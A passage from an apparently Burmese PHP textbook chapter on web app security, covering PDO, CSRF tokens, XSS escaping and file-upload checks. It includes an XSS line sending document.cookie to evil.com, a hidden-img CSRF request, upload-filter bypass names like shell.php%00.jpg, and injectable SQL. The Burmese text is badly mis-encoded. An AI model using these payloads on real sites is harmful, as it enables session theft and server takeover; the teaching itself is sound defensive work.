များအိနနဲ့ိ ပးတဲ့  root ကြ  Database User  ပဖေစ်ပပးီ  Blank ""  ကြိတာ့  Password  ပဖေစ်ပါတယ်။ လိုအပသ်လို
အစားထိုးအသံုးပပုနိုငပ်ါတယ်။

ဆက်ြလက်ြပပးီ Database ထံ Query များိပးပိုရ့ေန ် mysqli_query() Function ကုိြအသံုးပပုခဲ့ရေပါတယ်။

$subject = $_POST['subject'];
$sql = "INSERT INTO tasks (subject, created_date) VALUES ('$subject', now())";
mysqli_query($conn, $sql );

PDO နဲ့ အလားတလူပု်ိ ဆာငခ်ျက်ြရေဖေို ့အခလုိုိ ရေးသားနိုငပ်ါတယ် -

$subject = $_POST['subject'];
$sql = "INSERT INTO tasks (subject, created_date) VALUES ('$subject', now())";
$conn->query( $sql );

ချတိဆ်က်ြထားတဲ့ PDO Connection Object ကြတစ်ဆင့် query() Method ကုိြ သံုးရေပခင်းပဖေစ်ပါတယ်။ ဒီ နမူ
နာ Query ဟာ SQL Injection Thread ရေှိိ နလို့ Prepare Statement ကုိြသံုးပပးီ အခလုိုပပင်ိ ရေးနိုငပ်ါတယ် - 

$subject = $_POST['subject'];
$sql = "INSERT INTO tasks (subject, created_date) VALUES (:subject, now())";
$pre = $conn->prepare( $sql );
$pre->execute( array(':subject' => $subject) )

အလပုလ်ပု်ိ စလိုတဲ့  SQL  Query  ကုိြ  prepare() Method  နဲ့  ိပးပိုလ့ိုက်ြပခငး်ပဖေစ်ပါတယ်။   ိပးပိုလ့ိုက်ြတဲ့
Query  ထမဲာှ  :subject ဆုိတဲ့  Label  တစ်ခလုညး်ပါဝငပ်ါတယ်။  MySQL ကြ ဒီ  Query ကုိြ ကကိြုတငပ်ပငဆ်င်
သင့်တာပပငထ်ားိပမယ့် လက်ြိတွ့အလပုမ်လပု်ိ သးပဲ  ဆက်ြလက်ြိပးပို့လာမယ့် ညွှနအ်ကြားချက်ြကုိြ ိစာင့်ိ နမာှပဖေစ်
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ပါတယ်။ ိနာက်ြတစ်ဆင့မ်ာှ execute() Method ကုိြသံုးပပးီ Query ကုိြ အလပုလ်ပုလ်ိုက်ြဖေို့ ဆက်ြလက်ြညွှန် အကြား
ထားပါတယ်။  ဒညီွှနအ်ကြားချက်ြနဲ့အတူ  :subject Label  အစား  အသုံးပပုရေမယ့်  တနဖ်ေိုးကုိြပါတွဲဖေက်ြိပးလိုက်ြပါ
တယ်။  Query  ကြ သပသ်ပ၊်  Input Value  ကြသပသ်ပ်  ခွဲပပးီိပးပိုတ့ာမို့  MySQL  ကြလညး် သီးပခားစီပဲ  လက်ြခံ
အလပုလ်ပု်ိ ပးသွားမာှပါ။ ဒါိအကြာင့်  Input  မာှ  SQL Command  ိတ ွပါဝငလ်ာရေင်ိ တာငမ်ှ  မရူေငး်  Query  ကုိြ
သက်ြိရောက်ြစရောမရေှိိ တာပ့ါဘးူ။

SELECT Query နဲ့ Record ိတရွေယူတဲ့အခါ ပပနလ်ညရ်ေရေှိလာတဲ့ Record ိတကုိွြ mysqli_fetch_assoc()
နဲ့ အခလုို Fetch လပုခ်ဲ့ရေပါတယ် -

$result = mysqli_query($conn, "SELECT * FROM tasks" );
while( $row = mysql_fetcch_assoc( $result ) ) {
  echo "<li>" . $row['subject'] . "</li>";
}

အလားတလူပု်ိ ဆာငခ်ျက်ြ ရေရေှိဖေို့ PDO နဲ့ အခလုိို ရေးသားနိုငပ်ါတယ် - 

$rows = $conn->query( "SELECT * FROM tasks" );
foreach( $rows as $row ) {
  echo "<li>" . $row['subject'] . "</li>";
}

SELECT Query  ကြိန ရေရေှိလာတဲ့  Record  ိတကုိွြ  Object  တစ်ခအုိနနဲ့  ပပန်ိ ပးထားလို့  $rows ထဲမာှ  အ့ဲဒီ
Object ရေှိိ နမာှပဖေစ်ပါတယ်။ သီးပခား Fetch လပု်ိ နဖေို့ မလိုအပ်ိ တာပ့ဲ $rows Object ကုိြ foreach() Loop နဲ့
ပါတပ်ပးီ  Record တစ်ခပုခငး်ကုိြ ရေယူနိုငပ်ခင်းပဖေစ်ပါတယ်။

mysqli_query() ကြ Resource ID ကုိြသာပပန်ိ ပးတဲ့အတက်ွြ အ့ဲဒီ Resource ID ကုိြသံုးပပးီ ိနာက်ြတစ်ကကိြမ်
Fetch ပပနလ်ပုရ်ေတာပါ။ PDO query() ကြပပန်ိ ပးတာကြ Resource ID မဟတုပ်ါဘးူ။ ရေရေှိလာတဲ့ Record ိတွ
ပဖေစ် ပါတယ်။ ဒါိအကြာင့် Fetch လပုတ်ဲ့အလပုကုိ်ြ ထပလ်ပု်ိ နစရောမလိုိ တာပ့ ဲတစ်ခါတညး် အသံုးပပုနိုငတ်ာပါ။

mysqli_fetch_assoc() လို့မျို း တစ်ိအကြာငး်ပခင်း  Fetch လပုန်ိုငတ်ဲ့  Method လညး်ရေှိပါတယ်။ အခလုိုိ ရေး
သားနိုငပ်ါတယ ်- 

$result = $conn->prepare('SELECT * FROM books WHERE id = :id'); 
$result->execute(array( 'id' => $id )); 

while($row = $result->fetch()) { 
  echo "<li>" . $row['title'] . "</li>";
}
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ပဖေည့်စွက်ြမတှသ်ားသင့်တဲ့  PDO Method  ိတကွြိတာ့  lastInsertId(), exec() နဲ့  rowCount() တို့
ပဖေစ်ပါတယ်။  INSERT Query  နဲ့  လက်ြတစ်ိလာထည့်သွင်းလိုက်ြတဲ့   Record  ရေဲ့  Auto  Increment  ID  ကုိြ
mysql_insert_id() နဲ့ ရေယူခဲ့ရေပါတယ်။  PDO မာှ အခလုို ရေယူနိုငပ်ါတယ် - 

$id = $conn->lastInsertId();

Record ပပနလ်ညရ်ေယူစရောမလိုတဲ့  Query များကုိြ  query() Method မသံုးပဲ  exec() Method နဲ့လညး်ိပးပို့
နိုငပ်ါတယ။်

$conn->exec("SET NAMES UTF8;");

Database ရေဲ့  Character Encoding ကုိြိအကြပငာသတမ်တှယံု်သက်ြသကြပ်ဖေစ်လို့ query() Method သံုးမိနိတာ့
ပဲ  exec() သံုးလိုက်ြပခင်းပဖေစ်ပါတယ်။  query() Method  ကြ  အလပုလ်ပုပ်ပးီရေင်  ရေလဒကုိ်ြပပန်ိ ပးိလရ့ေှိပပးီ
exec() ကြိတာ ့အလပုလ်ပုယံု် သက်ြသက်ြ လုပ်ိ ပးမာှပဖေစ်ပါတယ်။

rowCount() Method  ကုိြိတာ့  UPDATE, DELETE Query  များိအကြာင့်  သက်ြိရောက်ြသွားတဲ့  စုစုိပါငး်
Record အိရေအတက်ွြကုိြ ရေယူဖေိုအ့သံုးပပုနိုငပ်ါတယ်။

$result = $conn->query("UPDATE categories SET name='Technology' 
                            WHERE name='Internet' OR name='Tech'");

$effected_row = $result->rowCount();

တစ်ချို ့ကြ PDO ဟာ Database အမျို းမျို းနဲ့ ချတိဆ်က်ြနိုငပ်ပးီ Prepare  Statement ိတဘွာိတ ွပါတဲ့အတက်ွြ ပို
ိကြာငး်တဲ့ နညး်ပညာလို့ ဆုိအကြပါတယ်။ တစ်ချို ့ကြိတာ့ mysqli Function ိတကွြ ပိုပမနတ်ယ်လို့ ဆုိအကြပါတယ်။
လက်ြိတွ့မာှ  PHP  နဲ့  MySQL  Database  တွဲဖေက်ြအလပုလ်ပု်ိ စဖေို့အတက်ွြ  PDO  (သုိမ့ဟတု်)  mysqli မမိိ
နစ်ှသက်ြရောနညး်ပညာကုိြ ိရေးွချယ် အသံုးပပုနိုငပ်ါတယ်။

15.2 - Cross-Site Request Forgery - CSRF
CSRF လုံပခုံိရေးပပဿနာဟာ ကြျွန်ိ တာတ်ို့ Web App ကုိြ ထိခိုက်ြိစနိုငသ်လို အသံုးပပုသူများကုိြလညး် ထိခိုက်ြိစ
နိုငတ်ဲ့ Attack တစ်မျို းပဖေစ်ပါတယ်။ ဥပမာအိနနဲ့ ကြျွန်ိ တာတ်ို့တည်ိ ဆာက်ြခဲ့တဲ့  Online Book Store ကုိြပအဲကြည့်
နိုငပ်ါတယ။်

Online Book Store မာှ စာအုပ်ိ တကုိွြ အခငွ့်ရေှိသူမသှာ ပပငဆ်ငပ်ခင်း ပယ်ဖေျက်ြပခငး်ပပုလပုန်ိုငပ်ါတယ်။ အခငွ့ရ်ေှိသူ
ဟတုမ်ဟတုကုိ်ြ Login Form တစ်ခနုဲ့ စစ်ိဆးထားပါတယ်။ User Name နဲ့  Password မနှ်ိ အာငပ်ဖေည့်သွငး်နိုင်
ရေင် အခငွ့်ရေှိ သူအပဖေစ်သတမ်တှတ်ဲ့ အိနနဲ့ Cookie သုိမ့ဟတု် Session Value တစ်ခကုိုြ သတမ်တှထ်ားလိုက်ြမာှပါ။
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အကြယ်၍ ဒ ီBook Store ကုိြ အငတ်ာနက်ြမာှ Domain Name တစ်ခနုဲ့ လွှင့်တငထ်ားမယ်ဆုိရေင ်စာအုပတ်စ်အုပကုိ်ြ
ပယ်ဖေျက်ြိစတဲ့  Script ရေဲ့  URL ကြ အခလုိုပဖေစ်မာှပါ - 

http://example.com/admin/book-del.php?id=1

Login ဝငထ်ားသူကြသာ ဒီ  URL ကုိြ အသံုးပပုရေင်  ID = 1 ပဖေစ်ိနတဲ့စာအုပ် ပျက်ြသွားိစမာှပဖေစ်ပါတယ်။ book-
del.php Script ရေဲ့အစမာှ Request ပပုလပုလ်ာသူဟာ ပပုလပုခ်ငွ့်ရေှိသူဟတုမ်ဟတု ်စစ်ိဆးထားမာှပါ။ ပပုလပုခ်ငွ့်
မရေှိ သူကြ ဒီ Script ကုိြ ဝင်ိ ရောက်ြဖေို့ကကိြုးစားရေင်  Login Form ကုိြပဲ Redirect လပုသွ်ားိအာင် စီစဉ်ိ ရေးသားထား
ပါတယ်။ ပုံမနှအ်တိုင်းဆုိရေင် အခငွ့ရ်ေှိသူဖေျက်ြလို့ရေမယ့်၊ အခငွ့်မရေှိသူ ဖေျက်ြလို့မရေဘူးဆုိတဲ့ လပု်ိ ဆာငခ်ျက်ြရေရေှိိ နပါပပ။ီ

ဒါိပမယ့် CSRF Attack ပပုလပုလ်ိုသူကြ သူကုိ့ြယ်ပိုင်  Website တစ်ခဖုေနတ်းီပပီး book-del.php ကုိြညွှနး်ထား
တဲ့ Hidden Element တစ်ခကုိုြ သူ ့Website မာှ အခလုိုထည့်သွင်းထားနိုငပ်ါတယ် -

<img src="http://example.com/admin/book-del.php?id=1" width="0" height="0">

ကြျွန်ိ တာတ်ို့ရေဲ့  Book Store မာှ  Admin အပဖေစ်  Login ဝငထ်ားသူကြသာ Logout  မလပုရ်ေိသးခင် ဒီ  Website
ကုိြ သွားိရောက်ြခဲ့မယ်ဆုိရေင် src မာှ ညွှနး်ထားတဲ့ URL ကုိြ (မသိလိုက်ြပဲ) Request လုပလ်ိုက်ြသလို ပဖေစ်သွားိစမာှ
ပါ။  သူကြလက်ြရေှိလညး်  Login  ဝငထ်ားသူပဖေစ်ိနိတာ၊့  ဒီ  Request  လက်ြခရံေရေှိတဲ့အခါ ကြျွန်ိ တာတ်ို့  Script  ကြ
အခငွ့်ရေှသူိပပု လုပလ်ာတဲ့ Request ပဖေစ်ိနလို့ စာအုပကုိ်ြ ပယ်ဖေျက်ြလိုက်ြမာှပါ။

ဒလီို  Request  အတကုိုြ  (မသိလိုက်ြပဲ)  ပပုလပု်ိ စိအာင် ိဆာငရ်ေက်ွြပပးီတိုက်ြခိုက်ြတဲ့နညး်ပဖေစ်လို့  သူ့ကုိြ  Cross-site
Request Forgery လိုိ့ ခါ်ပခငး်ပဖေစ်ပါတယ်။ App ဘက်ြကြ အားနညး်ချက်ြရေှိတာမနှ်ိ ပမယ့် တိုက်ြရုိက်ြတိုက်ြခိုကြ် နိုင်
ပခငး်မဟတုပ်ဲ  အသံုးပပုသူကြတစ်ဆင့်  တိုက်ြခိုက်ြပခင်းပဖေစ်ပါတယ်။  ဒါိအကြာင့်  အသံုးပပုသူများကြ  စိတမ်ချရေတဲ့
Website  ိတကုိွြမသွားဖေို့နဲ့  မသံုးိတာတ့ဲ့အချနိမ်ာှ   Logout  ိတပွပုလပုထ်ားဖေို့  လံုပခုံိရေးအအကံြပပုအကြ သူိတကွြ
တိုက်ြတနွး်ိလရ့ေှိပခငး် ပဖေစ်ပါတယ်။

ကြာကွြယ်ဖေိုန့ညး်လမး်ကြိတာ့ အိရေးကကီြးတဲ့လပုင်နး်ိတကုိွြ  URL Query သက်ြသက်ြနဲမ့ပပုလပု်ိ စပ ဲ Form တစ်ခု
ကြိန POST  Request  အိနနဲ့  Submit  လုပဖ်ေိုစီ့မထံားရေမာှပဖေစ်ပါတယ။်  ိဖောပ်ပခဲ့တဲ့  နမနူာမာှဆုိရေင်  Delete
Request လက်ြခံ ရေရေှိချနိမ်ာှ  Form တစ်ခနုဲ့  Confirmation ထပမ်ံိ တာငး်ခသံင့်ပါတယ်။  ပပးီရေင် Form ိဖောပ်ပတဲ့
အချနိမ်ာှ  အလပုန်စ်ှခု  လပုရ်ေပါမယ်။  Unique Token  တစ်ခကုိုြ  Generate  လပုပ်ပးီ  Form  အတငွး်မာှ  Hidden
Input နဲ့ထည့်သွငး်ထားိပးရေ ပါမယ်။ အ့ဲဒီ  Generated Token ကုိြပဲ Cookie ထမဲာှလညး် သိမး်ထားိပးရေပါမယ။်
Request  လက်ြခရံေရေှိတဲ့အခါ Server-side Script  ကြ Cookie ထကဲြ Token နဲ့  POST Request  မာှပါဝငလ်ာတဲ့
Token  တမူတတူိုက်ြဆုိငစ်စ်ိဆး ပပးီ တမူသှာ ဆက်ြလက်ြိဆာငရ်ေက်ွြ ရေမယ့်လပုင်နး်များကုိြ ိဆာငရ်ေက်ွြခငွ့်ပပုရေမာှ
ပဖေစ်ပါတယ်။ CSRF Attack ပပုလပုသူ်အိနနဲ့ သူကကိြုတငတ်ည်ိ ဆာက်ြထားတဲ့  Request အတထုမဲာှ ကြျွန်ိ တာတ်ို့
App  ရေဲ့  Generated Token  ကုိြ သိရေှိထည့်သွငး်ထားဖေို့ မလယ်ွတဲ့အတက်ွြ  ဒနီညး်နဲ့ကြာကွြယ်နိုငမ်ာှပပဲဖေစ်ပါတယ်။
ဥပမာ အိနနဲ့ Token ပါဝငတ်ဲ့ Form တစ်ခနုဲ့ Server-side Script တို့ကုိြ ိဖောပ်ပိပးလိုက်ြပါတယ်။
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[ Form ]

<?php 
  $token = md5(rand(1, 1000) . time()); 
  setcookie("csrf", $token); 
?> 
<form action="update.php" method="post"> 
  ... 
  <input type="hidden" name="token" value="<?= $token ?>"> 
</form>

[ Server-side Script ]

<?php 
  $cookie_token = $_COOKIE['csrf']; 
  $form_token = $_POST['token']; 
  if($cookie_token != $form_token) exit("Unauthorized Request!"); 
?>

md5() Function ဟာ ထည့်သွငး်ိပးတဲ့ String ကုိြ Hash လပု်ိ ပးတဲ့ Function ပဖေစ်ပါတယ်။ Hash အိအကြာငး်
ကုိြိတာ့ မအကြာခင် ဆက်ြလက်ြိဖောပ်ပပါမယ်။ Form ကုိြ Load လပုတ်ဲ့အချနိကုိ်ြ Random String တစ်ခကုိုြ md5()
နဲ့ Hash လုပလ်ိုက်ြပပးီ ရေလာတဲ့ Token ကုိြ Cookie ထမဲာှလညး်သိမး်ပါတယ်။ Form မာှလညး် Hidden Input နဲ့
ထည့်ထား ပါတယ်။  Server-side ကြ Request  လက်ြခရံေရေှိတဲ့အခါ ဒနီစ်ှကုိြပပနစ်စ်ထားလို့  Request  ကုိြ ဒီ  Form
ကြိနပပုလပုမ်ှ သာ ိအာငပ်မငမ်ာှပဖေစ်ပါတယ။် အကြားထကဲြအတလုပုထ်ားတဲ့ CSRF Request ကြ Form Request ပဲ
လပုန်ိုငပ်ပးီ  Cookie တနဖ်ေိုးသတမ်တှန်ိုငမ်ာှ မဟတုပ်ါဘးူ။ ပပးီိတာ့  Token ကြ Random ပဖေစ်လို့ ခန့်မနှး်ပပးီိတာ့
လညး်  Request ထမဲာှ ထည့်သွငး်ိပးနိုငမ်ာှ မဟတုလ်ို့ CSRF Attack များကုိြ ဒနီညး်ကြ ကြာကွြယ်ိပးသာွးနိုငမ်ာှ
ပဖေစ်ပါတယ်။

15.3 - Cross-site Scripting - XSS
SQL Injection ဟာ Input Data ထဲမာှ Query Command ိတ ွထည့်သွငး်ပပီးတိုက်ြခိုက်ြတဲ့ နညး်လမး်တစ်ခပုဖေစ်
ပါတယ်။ XSS ကြိတာ့ Input Data ထမဲာှ JavaScript ိတထွည့်သွငး်ပပီး တုိငခ်ိုက်ြပခင်းပဖေစ်ပါတယ်။ ထူးပခားချက်ြ
ကြ ထည့်သွငး်လိုက်ြစဉမ်ာှ အန္တရောယ်မရေှိပဲ အ့ဲဒီ JavaScript ိတကုိွြိဖော် HTML Document ထဲမာှ ပပနလ်ည်ိ ဖောပ်ပ
မတိဲ့ အချနိမ်ှ  App ကုိြိရော အသံုးပပုသူကိြပုါ ဒကုြ္ခ ပးတာပဖေစ်ပါတယ်။ ဥပမာ - ကြျွန်ိ တာတ်ို့  App မာှ မညသူ် မဆုိ
Comment  ထည့်သွငး်လိုရ့ေတဲ့  Comment Form  တစ်ခုိ ပးထားမယ်ဆုိပါစုိ။့ အမနှတ်စ်ကြယ်  Comment  ိပးလို
သူကြ ိရေးချငတ်ဲ့စာိရေးပပးီိတာပ့ဲ  Comment  ိပးမာှပါ။  Attack  လပုလ်ိုသူကြိတာ့  အ့ဲဒီ  Comment Box  မာှ
JavaScript ိတကုိွြ အခလုိုထည့်သွင်းသွားနိုင ်ပါတယ်။

<script>document.location='http://evil.com/bad.php?cookies='+document.cookie</script>

Server-side Script  ကြ ဒါကုိြ  Database  ထမဲာှ  Comment  အိနနဲ့ထည့်သွင်းထားပပးီ အပခားအသံုးပပုသူများကုိြ
ိဖောပ်ပ မတိဲ့အခါ၊  JavaScript  Code  အိနနဲ့အလပုလ်ပုသွ်ားမာှမို့၊  အသံုးပပုသူများရေဲ့  Cookie  တနဖ်ေိုးိတွိ တကုိွြ
Attacker  ကကိြုတင်  ိရေးသားထားတဲ့  Website  ထံိ ပးပို့သွားိစမာှပဖေစ်ပါတယ်။  Cookie  ထမဲာှ  Personal
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Information ိတပွါဝငန်ိုင် ပါတယ်။ Session Token ိတပွါဝငန်ိုငပ်ါတယ်။ CSRF Request ိတကုိွြကြာကွြယ်ဖေို့
ထည့်သွငး်ထားတဲ့ Token ိတ ွပါဝငန်ိုငပ်ါတယ်။

ဒါတငမ်ကြပါဘူး  JavaScript  မို့  Document  ိပါ်ကြ Element  ိတကုိွြ လိုသလိုစီမနံိုငပ်ါတယ်။ Website  ရေဲ့  မလူ
Content  ကုိြ  မပပိတာပ့ဲ  Attacker  ိဖောပ်ပိစလိုတဲ့  Content  များနဲ့  အစားထိုးိဖောပ်ပသွားနိုငပ်ါတယ်။  ဒနီညး်နဲ့
XSS ကုိြ Website Defacement အတက်ွြလညး် သံုးတက်ြအကြပါိသးတယ်။ Deface ဆုိတာ Website တစ်ခကုိုြဝင်
အကြည့် လိုက်ြတဲ့အခါ မလူ Website အစား "Hacked by Blablalba" သုိမ့ဟတု ်အပခားအလားတူိ ဖောပ်ပချက်ြများကြ
အစားထိုး ိဖောပ်ပိနိစပခငး် ပဖေစ်ပါတယ်။

ဒလီို Attack မျို းကုိြကြာကွြယ်ဖေို့အတက်ွြ User Input များကုိြ Filter လုပ်ိ ပးဖေိုလ့ိုသလို အ့ဲဒီ Input များကုိြ ပပနလ်ည်
မိဖောပ်ပခငမ်ာှလညး် Escape လပု်ိ ပးဖေို့လိုပါတယ်။ အိပခခအံားပဖေင့် XSS Script ိတဟွာ Input နဲ့အတူ HTML
Element  များအိနနဲ့  ပါဝငလ်ာပခငး်ပဖေစ်ပါတယ်။  <script> Element  များနဲ့ပါဝငလ်ာသလို အပခား  Element
များနဲ့  Attribute (Inline  Script)  အိနနဲ့လညး် ပါဝငလ်ာနိုငပ်ါတယ်။  ဒါိအကြာင့်  User  Input  ကြိန HTML
Element  ိတကုိွြ  ဖေယ်ထတုလ်ိုက်ြမယ်ဆုိရေင်  အတိုငး်အတာတစ်ခထုိ  ကြာကွြယ်နိုင်ိ စမာှပဖေစ်ပါတယ်။  PHP  မာှ
Element Tag ိတကုိွြဖေယ် ထတုဖ်ေို့အတက်ွြ strip_tags() Function ကုိြ အသံုးပပုနိုငပ်ါတယ်။

$input = "<script>alert('Evil Message')</script>";
$filtered_input = strip_tags( $input ); # => alert('Evil Message')

strip_tags() Function  ကြ  Input String  မာှ  ပါဝငလ်ာတဲ့  Tag  ိတအွားလုံးကုိြ  ဖေယ်ထတုလ်ိုက်ြမာှပဖေစ်ပါ
တယ်။ တစ်ခါတစ်ရေံ လုိအပခ်ျက်ြအရေ အသံုးပပုသူထည့်သွင်းိပးလာတဲ့  Element  ိတကုိွြ လက်ြခဖံေိုလ့ိုအပတ်ယ် ဆုိ
ရေငလ်ညး်  ပပနလ်ည်  ိဖောပ်ပတဲ့အခါမာှ  Element  အိနနဲ့မိဖောပ်ပပဲ  ရုိးရုိးစာအိနနဲ့  ိပပာငး်ပပးီ  ိဖောပ်ပိစဖေို့
htmlspecialchars() Function  ကုိြ အသံုးပပုနိုငပ်ါတယ်။  HTML Special Character  ိတကုိွြ  Entitles
များနဲ့အစားထိုးိပးသွားလို့  Element အိနနဲ့အလပုမ်လပု်ိ တာပ့ဲ ရုိးရုိးစာ အိနနဲ့ပဲိ ဖောပ်ပသွားိစမာှပဖေစ်ပါတယ်။ 

$input = "<b>Hello World</b>";
$output = htmlspecialchars( $input ); # => &lt;b&gt;Hello World&lt;/b&gt;

အသံုးပပုသူထည့်သွင်းိပးတဲ့  Element  ိတကုိွြ  လက်ြခဖံေို့လိုအပတ်ယ်၊  ဒါ့အပပင်  အ့ဲဒီ   Element  များအတိုငး်
ပပနလ်ည်  ိဖောပ်ပလိုိ သးတယ်ဆုိရေင်ိ တာ့  အိတာအ်န္တရောယ်များတဲ့  လိုအပခ်ျက်ြပဖေစ်လာပါပပ။ီ  PHP  ရေဲ့  Build-In
လပု်ိ ဆာငခ်ျက်ြများ နဲ့မလုံိ လာက်ြိတာပ့ါဘူး။ Third-Party PHP Library ိတသံုွးရေပါိတာမ့ယ်။ ဒကိီြစ္စအတက်ွြ
အထငရ်ောှးဆံုး  Library  တစ်ခကုြိတာ့  HTML  Purifier  ပဖေစ်ပါတယ်။  HTML  Purifier  ကြ  Element  နဲ့
Attribute  Whitelist  တစ်ခထုားပပးီ  ကုိြက်ြညတီဲ့  Element  များနဲ့  Attribute  များကုိြသာ  ိဖောပ်ပခငွ့်ပပုပခငး်ကုိြ
ိဆာငရ်ေက်ွြိပးနိုငပ်ါတယ။်

Link: http://htmlpurifier.org/

http://htmlpurifier.org/


Professional Web Developer - အခန်း (၁၅) Web App Security 483

ဒီိ တာ့ HTML Purifier ကုိြသံုးပပးီ အသံုးပပုသူကုိြ  HTML Element များ ထည့်ခငွ့်ပပုနိုင် သွားိစမာှပဖေစ်ပါတယ်။
ထည့်သွငး်ထားတဲ့  Element  ထမဲာှပါဝငလ်ာတဲ့ အန္တရောယ်ရေှိနိုငတ်ဲ့  Element  နဲ့  Attribute  များကုိြိတာ့  HTML
Purifier  ကြ ဖေယ်ထတု်ိ ပးသွားမာှပဖေစ်ပါတယ်။ h  tmlpurifier.org   မာှ  Source Code ကုိြ  Download လုပယူ်ပပးီ
ကြျွန်ိ တာတ်ို့ PHP Script ထမဲာှ အခလုို ထည့်သွငး်အသုံးပပုနိုငပ်ါတယ်။ 

include('HTMLPurifier.auto.php');

$config = HTMLPurifier_Config::createDefault(); 
$purifier = new HTMLPurifier($config); 
$clean_html = $purifier->purify($dirty_html);

ပထမဆံုး HTMLPurifier Instant တစ်ခတုည်ိ ဆာက်ြရေပါတယ်။ ပပးီိတာမ့ှ  Input String ကုိြ Filter လပုလ်ိုတဲ့
အခါမာှ  ပဖေစ်ပဖေစ်၊  Output  ကုိြ  Escape  လပုလ်ိုတဲ့အခါ  အ့ဲဒီ  Object  ကြိနတစ်ဆင့်  purify() Method  ကုိြ
အသံုးပပုိပးရေမာှပါ။

15.4 - File Upload
File Upload ဟာလညး် အိသအချာမစစ်ိဆးပဲ လက်ြခမံရိေင် အိတာ်ိ လးကကီြးမားတဲ့ပပဿနာကုိြ ိပးနိုငတ်ဲ့ လုံပခုံ
ိရေးအားနညး်ချက်ြ  ပဖေစ်သွားနိုငပ်ါတယ်။  ကကိြုတင်ိ ရေးသားထားတဲ့  Code  ိတပွါဝငတ်ဲ့  File  တစ်ခကုိုြသာ  File
Upload ကြ လက်ြခမံရိေင် အ့ဲဒီ Code ိတကွြ Server မာှရေှိိ နတဲ့ File ိတကုိွြ လိုသလိုစီမသွံားိစနိုငမ်ာှပဖေစ်ပါတယ်။
File ိတထွမဲာှ Database Setting ိတလွညး် ထည့်သွငး်ိရေးသားထားမာှမို့  Database ထကဲြ အချက်ြအလက်ြိတွ
လညး်မလုံပခုံိတာ့ ပါဘးူ။ System Command ိတကုိွြ လညး် Run နိုင်ိ သးလို့ Server ကုိြ အိတာ်ိ လးထခိိုက်ြ
သွားိစနိုငတ်ဲ့ အန္တရောယ် ရေှိိ နပါတယ်။

ကကိြုတင်ိ ရေးသားထားတဲ့  Code  ဆုိတဲ့ိ နရောမာှလညး်  Attacker  ကုိြယ်တိုင်ိ တာင်  ိရေးိနစရောမလိုပါဘးူ။  အသင့်
ကကိြုတင ်ိရေးသားထားတဲ့ Shell Script ိတရွေှိိ နပါတယ်။ 

http://htmlpurifier.org/
http://htmlpurifier.org/
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ပုံ (၁၅-ခ) A PHP Shell

ပုံ  (၁၅-ခ) မာှ  Shell Script  တစ်ခကုိုြ နမနူာိဖောပ်ပထားပါတယ်။ File  တစ်ခတုညး်နဲ့  System Command  ိတွ
Run နိုငတ်ဲ့ လပု်ိ ဆာငခ်ျက်ြိတ၊ွ PHP Code ိတ ွRun နိုငတ်ဲ့လပု်ိ ဆာငခ်ျက်ြိတ၊ွ File ိတကုိွြ Browse, Edit,
Download လပုန်ိုငတ်ဲ့ လပု်ိ ဆာငခ်ျက်ြိတနွဲ့ Database ချတိဆ်က်ြပပီး SQL ိတ ွRun ိပးနိုငတ်ဲ့ လပု်ိ ဆာငခ်ျက်ြ
ိတကုိွြစုစညး် ိရေးသားထားတာပါ။ ဒလီို File တစ်ခသုာ ကြျွန်ိ တာတ်ို့ Server ိပါ်ိရောက်ြသွားခဲ့ရေင် ဒီ File ကြိန
တစ်ဆင့် Attacker အိနနဲ့ Server တစ်ခလုုံးကုိြ ထငသ်လို စီမသွံားိစနိုငမ်ာှ ပဖေစ်ပါတယ်။

ဒါိအကြာင့် File Upload ိတကုိွြ အကြပအ်ကြပမ်တမ်တစ်စ်ိဆးဖေိုလ့ိုပါတယ်။  Web Server ိတမွာှ ဘယ်လို File ိတွ
ဆုိရေင် Script အိနနဲ့ အလပုလ်ပုရ်ေမလဆုိဲတကိဲြစ္စကိြု  File Extension နဲ့ခွဲပခားသတမ်တှထ်ားတက်ြပါတယ်။ ဥပမာ
- .php ဆုိရေင် PHP Script အိနနဲ့ အလပုလ်ပု်ိ ပးရေမယ်။ .pl ဆုိရေင် Perl Script အိနနဲ့ အလပုလ်ပု်ိ ပးရေမယ ်စ
သပဖေင့်သတမ်တှထ်ား တက်ြပါတယ်။ ဒါိအကြာင့် အိပခခံအားပဖေင့် မလိုလားအပတ်ဲ့ File ိတကုိွြ Upload လုပလ်ို့ မရေ
ိအာင်  Extension  နဲ့စစ်ိ လရ့ေှိပါတယ။် ဒါိပမယ့်  Attack  လပုလ်ိုသူိတကွြိတာ့ လညှ့်စားနညး်အမျို းမျို းသံုးပပးီ
စစ်ိဆးချက်ြိတကုိွြိကြျာပ်ဖေတဖ်ေို့ ကကိြုးစားအကြမာှပါ။ ဥပမာ ထည့်စစ်ဖေိုက့ြျနသွ်ားတဲ့  .php4 တို့  .php3 တို့လို  File
Extension  ိတွိ ပးပပးီ  Shell Script  ိတကုိွြတင် သွားနိုငပ်ါတယ်။ ပပးီိတာ့  .pHp ဆုိပပီး စာလုံးအကကီြး အိသး
အမျို း မျို းိရောိပးပပးီ စစ်ိဆးမှုကုိြ ိကြျာပ်ဖေတသွ်ားနိုငပ်ါတယ်။ File Name ရေဲ့  ိနာက်ြဆံုးကြ Space တစ်ခထုည့်ပပးီ
ိကြျာပ်ဖေတ် ဖေို့ကကိြုးစားနိုငပ်ါတယ်။ Extension ိရေှ့ကြ Null Character ထည့်သွငး်ပပီးစမး်သပန်ိုငပ်ါတယ်။ ဥပမာ -
shell.php%00.jpg လိုိ့ ပးခဲ့မယ်ဆုိရေင်  ိနာက်ြဆံုးကြ  .jpg ပဖေစ်ိနလို့  စစ်ိဆးချက်ြကုိြိကြျာပ်ဖေတသွ်ားပပးီ
File  System  အမနှ်  တစ်ကြယ်သိမ်းိတာမ့ှ  Null  Character  ိနာက်ြကြစာလုံးိတကုိွြဖေယ်ထတုလ်ိုက်ြလို့
shell.php ပဖေစ်သွားမာှပါ။
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ဒလီိုလညှ့်စားနညး်အမျို းမျို းပဖေစ်ိနတဲ့အတက်ွြ မလိုလားအပတ်ဲ့  File  ိတ ွUpload လုပခ်ငွ့်မရေိအာင် အိတာ်ိ လး
အကြပမ်တစီ်  စစ်ဖေို့လိုပါတယ်။  ခငွ့်ပပုမယ့်  File  အမျို းအစားစာရေငး်  Whitelist  ိတထွားရေပါမယ။်  File  Name  နဲ့
Extension  ိတမွာှပါဝငလ်ာတဲ့  Special Character  ိတ ွ Unicode Character  ိတကုိွြ အကုြနဖ်ေယ်ထတုပ်ပးီစစ်
